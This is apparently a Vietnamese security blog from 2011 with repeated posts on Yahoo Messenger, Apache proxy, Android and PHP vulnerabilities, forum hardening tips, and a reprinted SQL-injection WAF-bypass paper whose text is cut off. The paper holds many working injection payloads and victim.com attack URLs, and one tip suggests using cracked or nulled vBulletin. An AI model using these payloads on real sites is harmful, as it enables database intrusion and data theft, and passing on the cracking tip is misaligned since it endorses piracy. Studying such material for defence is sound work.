Status của bạn đang có nguy cơ bị đổi thành những nội dung không mong muốn ex: sexual content, malware url, chửi bới đồng nghiệp ...vì một lỗi 0-day xảy ra trên các version Yahoo Message 11.x (kể cả bản mới nhất 11.5.0.152-us), cho phép attacker có thể thay đổi status của người dùng.
Bitdefender cho biết lỗi này đã bị khai thác trong thực tế (exploit in the wild). Để hiểu chi tiết làm thế nào để khai thác được lỗi này các bạn có thể vào blog của Bit để đọc nhé. Cũng khá dễ hiểu với những ai đã làm quen với YMSG protocol.
Kịch bản để khai thác lỗi này là như sau:
1. Attacker sẽ chuẩn bị 1 file để gửi cho victim. Nội dung file là bình thường, không quan trọng trong attack vector. Thường thì sẽ chọn 1 file ảnh có dung lượng thật bé.
2. Attacker viết một tools nhỏ mô phỏng YMSG protocol để gửi file đến cho người dùng. Trong trường 256, đáng lẽ phải điền token id, thì attacker sẽ thay vào đó 1 đoạn html code dùng để "SetCutomStatus". Sau đó gửi tới cho victim.
3. Dù victim có accept hay deny file thì status vẫn sẽ bị thay đổi.
Giải pháp:
- Đã là 0-day thì về cơ bản là ngồi đợi Yahoo fix lỗi, tung bản mới ra thôi. ^^
- Để hạn chế phần nào thì bạn có thể thiết lập để Yahoo ignore tất cả message từ những người không nằm trong contact list.
Hàng về:
Download
Thứ Hai, 5 tháng 12, 2011
0
Thứ Năm, 1 tháng 12, 2011
0
Apache Reverse Proxy Vulnerability (CVE-2011-3368)
Một lỗi nhỏ có thể gây ra mối nguy lớn
Đây là một lỗi khá "hay" trong module mod_proxy của Apache từ version 1.3.x đến 2.2.x (2.2.21). Lỗi xảy ra do sự sử lý không thực sự hợp lý của các chức năng RewriteRule và ProxyPassMatch trong việc config để sử dụng Apache như là một reverse proxy. Lỗi này cho phép hacker có thể truy cập vào các services của các server nội bộ bằng các sử dụng các URI có chứa ký tự @.
Ví dụ:
Bạn có website www.your-company.com muốn pulic ra internet.
Bạn cài website trên tại Web Server có IP nội bộ: 10.10.5.20. Sau đó bạn dựng một server chạy Apache reverse proxy có địa chỉ IP 10.10.5.4. Bạn chỉ public Apache proxy này ra ngoài internet.
Trong hệ thống, bạn còn có nhiều dịch vụ nội bộ khác như: ftp, mail, DNS .. không pulic ra internet.
Tuy nhiên, với lỗi trên, hacker có thể truy cập vào các dịch vụ nội bộ này.
Lỗi này về mặt technique thì cũng khá dễ hiểu nên mình ko mô tả lại. Các bạn có thể đọc tại:
http://www.contextis.com/research/blog/reverseproxybypass/
https://community.qualys.com/blogs/securitylabs/tags/cve-2011-4317
Đây là một lỗi khá "hay" trong module mod_proxy của Apache từ version 1.3.x đến 2.2.x (2.2.21). Lỗi xảy ra do sự sử lý không thực sự hợp lý của các chức năng RewriteRule và ProxyPassMatch trong việc config để sử dụng Apache như là một reverse proxy. Lỗi này cho phép hacker có thể truy cập vào các services của các server nội bộ bằng các sử dụng các URI có chứa ký tự @.
Ví dụ:
Bạn có website www.your-company.com muốn pulic ra internet.
Bạn cài website trên tại Web Server có IP nội bộ: 10.10.5.20. Sau đó bạn dựng một server chạy Apache reverse proxy có địa chỉ IP 10.10.5.4. Bạn chỉ public Apache proxy này ra ngoài internet.
Trong hệ thống, bạn còn có nhiều dịch vụ nội bộ khác như: ftp, mail, DNS .. không pulic ra internet.
Tuy nhiên, với lỗi trên, hacker có thể truy cập vào các dịch vụ nội bộ này.
Lỗi này về mặt technique thì cũng khá dễ hiểu nên mình ko mô tả lại. Các bạn có thể đọc tại:
http://www.contextis.com/research/blog/reverseproxybypass/
https://community.qualys.com/blogs/securitylabs/tags/cve-2011-4317
Thứ Hai, 28 tháng 11, 2011
0
Lỗi mới cho phép lấy dữ liệu trên điện thoại Android khi lướt web
Hehe, mình chưa test. Nhưng khả năng chuẩn là hơi bị cao. MSF đã có exploit rồi nhé.
Android 'content://' URI Multiple Information Disclosure Vulnerabilities
Các bạn trẻ xài Android hãy cẩn thận, nếu không muốn ảnh, video nóng tự nhiên xuất hiện trên mạng nhé. :P
Android 'content://' URI Multiple Information Disclosure Vulnerabilities
Các bạn trẻ xài Android hãy cẩn thận, nếu không muốn ảnh, video nóng tự nhiên xuất hiện trên mạng nhé. :P
| Open Handset Alliance Android 2.3.2 Open Handset Alliance Android 2.3.1 Open Handset Alliance Android 2.0.1 Open Handset Alliance Android 2.3 Open Handset Alliance Android 2.2 Open Handset Alliance Android 2.1.1 Open Handset Alliance Android 2.1 Open Handset Alliance Android 2.0 |
Thứ Tư, 16 tháng 11, 2011
0
Cách secure cho một forum VBB
Hôm qua có một người hỏi tôi về việc đảm bảo security cho một forum VBB. Dưới đây là trích thư tôi trả lời cho bạn ấy. Nếu bạn kỳ vọng sẽ có các trick, tip, or technique guide line như vẫn thường gặp thì rất tiếc là không phải. Đây chỉ là những quan điểm chung về việc làm security cho một forum VBB dựa trên kinh nghiệm và ý kiến chủ quan của tôi, được viết dưới dạng dễ hiểu nhất cho những người non-IT có thể hiểu. Hi vọng chúng giúp ích cho các bạn.
I - Bạn cần bảo vệ cái gì?
Về việc secure cho VBB forum thì nguyên lý nó thế này. Để secure cho một website nói chung, và forum VBB nói riêng bạn cần để ý tới 3 yếu tố cơ bản:
1. Bản thân ứng dụng website. Cụ thể ở đây là Vbulletin forum. Ở chỗ khác có thể là wordpress, joomla. Vbulletin là 1 sản phẩm thương mại lâu năm nên có khá ít lỗi. Bạn chỉ cần:
- Mua license của VBB (tầm 160$ - 180$ / năm). Và thường xuyên login vào admincp, để ý xem vbulletin có bản mới thì update ngay.
- Nếu bạn không muốn mua license thì hãy chịu khó tự crack, hoặc tìm bản null "sạch". Rủi ro ở đây là khi Vbulletin có lỗi thì bạn sẽ không fix sớm được do phải đợi người ta crack bản mới ... Năm vừa rồi VBB có ít nhất 2 lỗi nghiêm trọng.
- Tự hack mod hoặc check security cẩn thận các mod. Đa số forum bị lỗi là do dùng mod có lỗi.
- Có một số thủ thuật như ẩn version, giả admincp, thay đổi cấu trúc vbb, cài webapp nhưng không cơ bản và không phù hợp với bạn lắm.
2. Server, máy chủ, database:
Cần secure cho máy chủ:
- Không dùng share-hosting (~95% forum bị hack thông qua local attack trên share hosting). Nếu chưa đủ tiền xài server riêng ( tầm 2,5 - 3 triệu /tháng) bạn có thể sử dụng VPS (tầm 500k - 1,5 triệu/ tháng)
- Phân quyền máy chủ, chặt chẽ, principle of least privilege
Để ý đền phần quyền cho user của database để tránh bị nâng quyền khi bị tấn công.
3. Người dùng:
Có 02 loại người dùng là end-user (khách hàng), và admin. Ở trong trường hợp này thì chủ yếu cần quan tâm tới secure cho admin.
Có rất nhiều việc cần làm nhưng mình xin gạch vài ý:
+ Cài Anti Virus
+ Tránh phishing từ mail.
..
II - Cái đó chịu rủi ro gì?
Đấy là các tài nguyên cần bảo vệ. Còn về rủi ro thì có nhiều, nhưng các rủi ro sau là cơ bản, mà 1 hệ thống forum thường gặp phải đó là:
- Bị hack. Thường nhất là qua local attack (90-95%), tiếp đến là lỗi mod vbb, sau đó là lỗi VBB mới chưa được cập nhật.
Thứ đến là admin bị lừa đảo, có thể là chiếm session hoặc lừa đảo chiếm mail. Và admin bị keyloger.
- Bị DDoS. Gần như forum nào có rank alexa < 500k cũng đã từng bị DDoS ít hay nhiều. Giải pháp: nâng cấp server, tối thiểu là VPS. Có config firewall chống ddos. Admin nên hòa nhã, tránh xung đột ^^!
III - Vậy nên làm gì?
1. Bạn quan tâm tới security là điều rất đáng quý. Nhưng cái khó nhất của security đó là security nó gắn liền với business. Vì thế việc đầu tiên là bạn phải hiểu muốn làm security thì phải tốn kém. Vì thế bạn phải cân đối giữa business và security để đầu tư cho hợp lý.
2. Chịu khó học hành, đọc báo, tìm hiểu sơ bộ về security. Bạn là admin, bảo vệ chính bạn là bảo vệ cho site của bạn :D
3. Thường xuyên backup hệ thống.
4. Thường xuyên tìm hiểu xem có bản VBB mới ko thì update lên. Hoặc là chọn 1 bản thật ổn định, và ko bao giờ update nhưng phải theo dõi tin tức security xem có lỗi vbb mới ko thì tự vá.
IV - Lộ trình
1. Đầu tư $ để chuyển qua VPS. Cần tư vấn VPS thì hỏi mình :D, nói chung là tiền nào của nấy thôi :)) . Qua cái này là giảm đc > 90% rủi ro rồi
2. Mua license VBB
3. Thuê, nhờ người chuyên nghiệp audit hoặc viết các mod cho forum.
4. Thuê, nhờ người quản trị chuyên nghiệp cho forum:
+ Config server, user, database, fpt ... chỉnh sử, hardening vbb ..
+ Monitor log, phát hiện tấn công, xử lý sự cố
+ Update, backup ...
Enjoy!
I - Bạn cần bảo vệ cái gì?
Về việc secure cho VBB forum thì nguyên lý nó thế này. Để secure cho một website nói chung, và forum VBB nói riêng bạn cần để ý tới 3 yếu tố cơ bản:
1. Bản thân ứng dụng website. Cụ thể ở đây là Vbulletin forum. Ở chỗ khác có thể là wordpress, joomla. Vbulletin là 1 sản phẩm thương mại lâu năm nên có khá ít lỗi. Bạn chỉ cần:
- Mua license của VBB (tầm 160$ - 180$ / năm). Và thường xuyên login vào admincp, để ý xem vbulletin có bản mới thì update ngay.
- Nếu bạn không muốn mua license thì hãy chịu khó tự crack, hoặc tìm bản null "sạch". Rủi ro ở đây là khi Vbulletin có lỗi thì bạn sẽ không fix sớm được do phải đợi người ta crack bản mới ... Năm vừa rồi VBB có ít nhất 2 lỗi nghiêm trọng.
- Tự hack mod hoặc check security cẩn thận các mod. Đa số forum bị lỗi là do dùng mod có lỗi.
- Có một số thủ thuật như ẩn version, giả admincp, thay đổi cấu trúc vbb, cài webapp nhưng không cơ bản và không phù hợp với bạn lắm.
2. Server, máy chủ, database:
Cần secure cho máy chủ:
- Không dùng share-hosting (~95% forum bị hack thông qua local attack trên share hosting). Nếu chưa đủ tiền xài server riêng ( tầm 2,5 - 3 triệu /tháng) bạn có thể sử dụng VPS (tầm 500k - 1,5 triệu/ tháng)
- Phân quyền máy chủ, chặt chẽ, principle of least privilege
Để ý đền phần quyền cho user của database để tránh bị nâng quyền khi bị tấn công.
3. Người dùng:
Có 02 loại người dùng là end-user (khách hàng), và admin. Ở trong trường hợp này thì chủ yếu cần quan tâm tới secure cho admin.
Có rất nhiều việc cần làm nhưng mình xin gạch vài ý:
+ Cài Anti Virus
+ Tránh phishing từ mail.
..
II - Cái đó chịu rủi ro gì?
Đấy là các tài nguyên cần bảo vệ. Còn về rủi ro thì có nhiều, nhưng các rủi ro sau là cơ bản, mà 1 hệ thống forum thường gặp phải đó là:
- Bị hack. Thường nhất là qua local attack (90-95%), tiếp đến là lỗi mod vbb, sau đó là lỗi VBB mới chưa được cập nhật.
Thứ đến là admin bị lừa đảo, có thể là chiếm session hoặc lừa đảo chiếm mail. Và admin bị keyloger.
- Bị DDoS. Gần như forum nào có rank alexa < 500k cũng đã từng bị DDoS ít hay nhiều. Giải pháp: nâng cấp server, tối thiểu là VPS. Có config firewall chống ddos. Admin nên hòa nhã, tránh xung đột ^^!
III - Vậy nên làm gì?
1. Bạn quan tâm tới security là điều rất đáng quý. Nhưng cái khó nhất của security đó là security nó gắn liền với business. Vì thế việc đầu tiên là bạn phải hiểu muốn làm security thì phải tốn kém. Vì thế bạn phải cân đối giữa business và security để đầu tư cho hợp lý.
2. Chịu khó học hành, đọc báo, tìm hiểu sơ bộ về security. Bạn là admin, bảo vệ chính bạn là bảo vệ cho site của bạn :D
3. Thường xuyên backup hệ thống.
4. Thường xuyên tìm hiểu xem có bản VBB mới ko thì update lên. Hoặc là chọn 1 bản thật ổn định, và ko bao giờ update nhưng phải theo dõi tin tức security xem có lỗi vbb mới ko thì tự vá.
IV - Lộ trình
1. Đầu tư $ để chuyển qua VPS. Cần tư vấn VPS thì hỏi mình :D, nói chung là tiền nào của nấy thôi :)) . Qua cái này là giảm đc > 90% rủi ro rồi
2. Mua license VBB
3. Thuê, nhờ người chuyên nghiệp audit hoặc viết các mod cho forum.
4. Thuê, nhờ người quản trị chuyên nghiệp cho forum:
+ Config server, user, database, fpt ... chỉnh sử, hardening vbb ..
+ Monitor log, phát hiện tấn công, xử lý sự cố
+ Update, backup ...
Enjoy!
Thứ Hai, 17 tháng 10, 2011
0
Các công cụ cần thiết cho Android Apps Reversing || Analysis
Dynamic analysis
Droidbox: An Android Application Sandbox for Dynamic Analysis, “the sandbox will utilize static pre-check, dynamic taint analysis and API monitoring. Data leaks can be detected by tainting sensitive data and placing taint sinks throughout the API. Additionally, by logging relevant API function parameters and return values, a potential malware can be discovered and reported for further analysis.” Source: http://www.honeynet.org/gsoc/slot5
http://code.google.com/p/droidbox/
The Android SDK: “A software development kit that enables developers to create applications for the Android platform. The Android SDK includes sample projects with source code, development tools, an emulator, and required libraries to build Android applications. Applications are written using the Java programming language and run on Dalvik, a custom virtual machine designed for embedded use which runs on top of a Linux kernel.” Source: http://www.webopedia.com/TERM/A/Android_SDK.html
Using the Android SDK we can create a virtual android device almost identical in functionality and capabilities of an android telephone and using that virtual device as secure environment we can execute the malware and observe the behavior of it.
http://developer.android.com/sdk/index.html
androidAuditTools: “Dynamic Android analysis tools”
https://github.com/wuntee/androidAuditTools
Static analysis
Mobile Sandbox: mobile sandbox provides static analysis of malware images with an easy accessible web interface for submission.
http://www.mobile-sandbox.com (still in beta)
IDA pro version 6.1 and above: IDA pro, the known and most common among reverse engineers disassembler and debugger is supporting Android bytecode from the professional versions 6.1 and above.
http://www.hex-rays.com/products/ida/6.1/index.shtml
APKInspector: “APKinspector is a powerful GUI tool for analysts to analyze the Android applications.” http://code.google.com/p/apkinspector/
Dex2jar: “A tool for converting Android’s .dex format to Java’s .class format”
http://code.google.com/p/dex2jar/
Jd-gui: “JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.”
http://java.decompiler.free.fr/?q=jdgui
Androguard: “Reverse engineering, Malware analysis of Android applications … and more !”
http://code.google.com/p/androguard/
JAD: “Java Decompiler”
http://www.varaneckas.com/jad
Dexdump: “Java .dex file format decompiler”
http://code.google.com/p/dex-decomplier/
Smali: “smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android’s Java VM implementation. The syntax is loosely based on Jasmin’s/dedexer’s syntax, and supports the full functionality of the dex format (annotations, debug info, line info, etc.)”
http://code.google.com/p/smali/
Droidbox: An Android Application Sandbox for Dynamic Analysis, “the sandbox will utilize static pre-check, dynamic taint analysis and API monitoring. Data leaks can be detected by tainting sensitive data and placing taint sinks throughout the API. Additionally, by logging relevant API function parameters and return values, a potential malware can be discovered and reported for further analysis.” Source: http://www.honeynet.org/gsoc/slot5
http://code.google.com/p/droidbox/
The Android SDK: “A software development kit that enables developers to create applications for the Android platform. The Android SDK includes sample projects with source code, development tools, an emulator, and required libraries to build Android applications. Applications are written using the Java programming language and run on Dalvik, a custom virtual machine designed for embedded use which runs on top of a Linux kernel.” Source: http://www.webopedia.com/TERM/A/Android_SDK.html
Using the Android SDK we can create a virtual android device almost identical in functionality and capabilities of an android telephone and using that virtual device as secure environment we can execute the malware and observe the behavior of it.
http://developer.android.com/sdk/index.html
androidAuditTools: “Dynamic Android analysis tools”
https://github.com/wuntee/androidAuditTools
Static analysis
Mobile Sandbox: mobile sandbox provides static analysis of malware images with an easy accessible web interface for submission.
http://www.mobile-sandbox.com (still in beta)
IDA pro version 6.1 and above: IDA pro, the known and most common among reverse engineers disassembler and debugger is supporting Android bytecode from the professional versions 6.1 and above.
http://www.hex-rays.com/products/ida/6.1/index.shtml
APKInspector: “APKinspector is a powerful GUI tool for analysts to analyze the Android applications.” http://code.google.com/p/apkinspector/
Dex2jar: “A tool for converting Android’s .dex format to Java’s .class format”
http://code.google.com/p/dex2jar/
Jd-gui: “JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.”
http://java.decompiler.free.fr/?q=jdgui
Androguard: “Reverse engineering, Malware analysis of Android applications … and more !”
http://code.google.com/p/androguard/
JAD: “Java Decompiler”
http://www.varaneckas.com/jad
Dexdump: “Java .dex file format decompiler”
http://code.google.com/p/dex-decomplier/
Smali: “smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android’s Java VM implementation. The syntax is loosely based on Jasmin’s/dedexer’s syntax, and supports the full functionality of the dex format (annotations, debug info, line info, etc.)”
http://code.google.com/p/smali/
Thứ Ba, 11 tháng 10, 2011
0
PHP "is_a()" Function Remote File Include
Đây là lỗi rất mới, xảy ra ở PHP 5.3.7 và 5.3.8
Trước khi đến với "is_a()", mình muốn giới thiệu với các bạn một chút về __autoload() (Autoloading Classes)
Autoloading Classes ra đời từ PHP 5, với mục đích để đỡ phải include quá nhiều ở đầu mỗi file PHP.
Example #1 Autoload example
Example #1 is_a() example
Giả sử có đoạn code sau:
Với lỗi trên, nếu __autoload() được viết theo cách thông thường như ví dụ sau:
References:
http://www.securityfocus.com/bid/49754/solution
Trước khi đến với "is_a()", mình muốn giới thiệu với các bạn một chút về __autoload() (Autoloading Classes)
Autoloading Classes ra đời từ PHP 5, với mục đích để đỡ phải include quá nhiều ở đầu mỗi file PHP.
Many developers writing object-oriented applications create one PHP source file per-class definition. One of the biggest annoyances is having to write a long javascript:void(0)list of needed includes at the beginning of each script (one for each class).
In PHP 5, this is no longer necessary. You may define an __autoload function which is automatically called in case you are trying to use a class/interface which hasn't been defined yet. By calling this function the scripting engine is given a last chance to load the class before PHP fails with an error.
Example #1 Autoload example
This example attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively.
<?php
function __autoload($class_name) {
include $class_name . '.php';
}
$obj = new MyClass1();
$obj2 = new MyClass2();
?>
Và bây giờ là "is_a()" function.<?php
function __autoload($class_name) {
include $class_name . '.php';
}
$obj = new MyClass1();
$obj2 = new MyClass2();
?>
bool is_a ( object $object , string $class_name )
Checks if the given object is of this class or has this class as one of its parents
Example #1 is_a() example
<?php
// define a class
class WidgetFactory
{
var $oink = 'moo';
}
// create a new object
$WF = new WidgetFactory();
if (is_a($WF, 'WidgetFactory')) {
echo "yes, \$WF is still a WidgetFactory\n";
}
?>
Như vậy, is_a là hàm dùng để kiểm tra xem 1 object có là hoặc thuộc vào một class nào đó hay không.// define a class
class WidgetFactory
{
var $oink = 'moo';
}
// create a new object
$WF = new WidgetFactory();
if (is_a($WF, 'WidgetFactory')) {
echo "yes, \$WF is still a WidgetFactory\n";
}
?>
Giả sử có đoạn code sau:
<?php
function __autoload($class) {
echo "Would load: " . $class . PHP_EOL;
}
$var = "test";
var_dump(is_a($var, 'B'));
$obj = new Stdclass;
var_dump(is_a($obj, 'C'));
?>
Khi chạy kết quả chúng ta kỳ vọng sẽ là:function __autoload($class) {
echo "Would load: " . $class . PHP_EOL;
}
$var = "test";
var_dump(is_a($var, 'B'));
$obj = new Stdclass;
var_dump(is_a($obj, 'C'));
?>
bool(false)
bool(false)
Nhưng thực tế, kết quả lại là:bool(false)
Would load: test
bool(false)
bool(false)
Đó là do, khi hàm is_a() được gọi là tham số đầu tiên không phải là một object thì hàm __autoload() sự tự động được gọi. bool(false)
bool(false)
Với lỗi trên, nếu __autoload() được viết theo cách thông thường như ví dụ sau:
function __autoload($class_name) {
include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
print_error($uploaded_file);
}else{
process_upload($uploaded_file);
}
Thì website sẽ mắc lỗi RFIinclude $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
print_error($uploaded_file);
}else{
process_upload($uploaded_file);
}
References:
http://www.securityfocus.com/bid/49754/solution
Thứ Hai, 10 tháng 10, 2011
0
Beyond SQLi: Obfuscate and Bypass
Source: http://www.exploit-db.com/papers/17934/
Beyond SQLi: Obfuscate and Bypass|=--------------------------------------------------------------------=|
|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
|=-------------------------=[ 6 October 2011 ]=-----------------------=|
|=----------------------=[ By CWH Underground ]=--------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Beyond SQLi: Obfuscate and Bypass
Author : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date : 2011-10-06
##########
Contents
##########
[0x00] - Introduction
[0x01] - Filter Evasion (Mysql)
[0x01a] - Bypass Functions and Keywords Filtering
[0x01b] - Bypass Regular Expression Filtering
[0x02] - Normally Bypassing Techniques
[0x03] - Advanced Bypassing Techniques
[0x03a] - HTTP Parameter Pollution: Split and Join
[0x03b] - HTTP Parameter Contamination
[0x04] - How to protect your website
[0x05] - Conclusion
[0x06] - References
[0x07] - Greetz To
#######################
[0x00] - Introduction
#######################
Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on.
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection.
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system
in the real world even though you spend more than 300,000 USD on a WAF.
This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.
Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution.
The last, section 0x05, It's conclusion from Section 0x01-0x04.
#################################
[0x01] - Filter Evasion (Mysql)
#################################
This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions.
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.
+++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Bypass Functions and Keywords Filtering
+++++++++++++++++++++++++++++++++++++++++++++++++++
Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful.
However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users
when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.
Keyword filer: and, or
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or)/i', $id)
THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
----------------------------------------------------------------------
Keyword filer: and, or, union
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union)/i', $id)
The keyword union is generally used to generate an malicious statement in order to select extra data from the database.
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement
e.g. use substring function to get each character of table names.
----------------------------------------------------------------------
Keyword filer: and, or, union, where
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, '
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
Bypassed injection: 1%0b||%0blpad(user,7,1)
----------------------------------------------------------------------
From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions.
Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.
Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.
+++++++++++++++++++++++++++++++++++++++++++++++
[0x01b] - Bypass Regular Expression Filtering
+++++++++++++++++++++++++++++++++++++++++++++++
Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server.
However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.
PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols.
[Code]---------------------------------------------------------------
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1
[End Code]-----------------------------------------------------------
[Code]---------------------------------------------------------------
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
[End Code]-----------------------------------------------------------
########################################
[0x02] - Normally Bypassing Techniques
########################################
In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation.
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application,
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.
Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!
1. Bypass with Comments
SQL comments allow us to bypass a lot of filtering and WAFs.
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
[End Code]-----------------------------------------------------------
2. Case Changing
Some WAFs filter only lowercase SQL keyword.
Regex Filter: /union\sselect/g
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]-----------------------------------------------------------
3. Replaced keywords
Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-----------------------------------------------------------
Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]-----------------------------------------------------------
For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".
Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
4. Character encoding
Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so
double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
decoding the SQL statement executing
[Code]-----------------------------------------------------------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]-------------------------------------------------------------------------------------------------------------
Moreover, these techniques can combine to bypass Citrix Netscaler
- Remove all "NULL" words
- Use query encoding in some parts
- Remove the single quote character "'"
- And Have fun !!
Credit: Wendel Guglielmetti Henrique
and "Armorlogic Profense" prior to 2.4.4 was bypassed by URL-encoded newline character.
#Real World Example
1. NukeSentinel (Nuke Evolution)
